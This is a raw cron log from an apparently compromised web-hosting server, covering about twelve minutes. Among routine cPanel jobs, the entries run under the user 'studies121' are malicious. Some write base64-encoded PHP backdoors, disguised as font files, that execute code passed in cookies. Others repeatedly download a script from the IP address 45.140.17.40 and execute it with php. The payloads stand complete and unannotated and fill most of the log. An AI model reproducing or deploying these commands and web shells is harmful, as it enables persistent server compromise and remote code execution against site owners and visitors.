Sep  6 14:04:01 ip-184-168-122-23 CROND[2865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:04:01 ip-184-168-122-23 CROND[2863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:05:01 ip-184-168-122-23 CROND[3085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:05:01 ip-184-168-122-23 CROND[3087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:05:01 ip-184-168-122-23 CROND[3088]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:05:01 ip-184-168-122-23 CROND[3090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:05:01 ip-184-168-122-23 CROND[3091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:05:01 ip-184-168-122-23 CROND[3093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:05:01 ip-184-168-122-23 CROND[3089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:06:01 ip-184-168-122-23 CROND[3313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:06:01 ip-184-168-122-23 CROND[3314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:06:01 ip-184-168-122-23 CROND[3312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:06:01 ip-184-168-122-23 CROND[3316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:06:01 ip-184-168-122-23 CROND[3315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:07:01 ip-184-168-122-23 CROND[3536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:07:01 ip-184-168-122-23 CROND[3537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:07:01 ip-184-168-122-23 CROND[3538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:07:01 ip-184-168-122-23 CROND[3539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:08:01 ip-184-168-122-23 CROND[3759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:08:01 ip-184-168-122-23 CROND[3762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:08:01 ip-184-168-122-23 CROND[3761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:08:01 ip-184-168-122-23 CROND[3763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:08:01 ip-184-168-122-23 CROND[3764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:09:01 ip-184-168-122-23 CROND[4069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:09:01 ip-184-168-122-23 CROND[4070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:09:01 ip-184-168-122-23 CROND[4072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:09:01 ip-184-168-122-23 CROND[4071]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 14:09:01 ip-184-168-122-23 CROND[4073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:10:01 ip-184-168-122-23 CROND[4268]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:10:01 ip-184-168-122-23 CROND[4269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:10:01 ip-184-168-122-23 CROND[4273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:10:01 ip-184-168-122-23 CROND[4275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:10:01 ip-184-168-122-23 CROND[4276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:10:01 ip-184-168-122-23 CROND[4274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:10:01 ip-184-168-122-23 CROND[4278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:10:01 ip-184-168-122-23 CROND[4281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:11:02 ip-184-168-122-23 CROND[4503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:11:02 ip-184-168-122-23 CROND[4505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:11:02 ip-184-168-122-23 CROND[4507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:11:02 ip-184-168-122-23 CROND[4506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:12:01 ip-184-168-122-23 CROND[4808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:12:01 ip-184-168-122-23 CROND[4811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:12:01 ip-184-168-122-23 CROND[4812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:12:01 ip-184-168-122-23 CROND[4814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:12:01 ip-184-168-122-23 CROND[4813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:13:01 ip-184-168-122-23 CROND[5019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:13:01 ip-184-168-122-23 CROND[5020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:13:01 ip-184-168-122-23 CROND[5021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:13:01 ip-184-168-122-23 CROND[5022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:14:01 ip-184-168-122-23 CROND[5304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:14:01 ip-184-168-122-23 CROND[5305]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:14:01 ip-184-168-122-23 CROND[5308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:14:01 ip-184-168-122-23 CROND[5309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:14:01 ip-184-168-122-23 CROND[5310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:15:01 ip-184-168-122-23 CROND[5517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:15:01 ip-184-168-122-23 CROND[5520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:15:01 ip-184-168-122-23 CROND[5523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:15:01 ip-184-168-122-23 CROND[5525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:15:01 ip-184-168-122-23 CROND[5528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:15:01 ip-184-168-122-23 CROND[5524]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 14:15:01 ip-184-168-122-23 CROND[5529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:16:01 ip-184-168-122-23 CROND[5736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:16:01 ip-184-168-122-23 CROND[5739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:16:01 ip-184-168-122-23 CROND[5738]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:16:01 ip-184-168-122-23 CROND[5740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:16:01 ip-184-168-122-23 CROND[5741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:16:01 ip-184-168-122-23 CROND[5743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
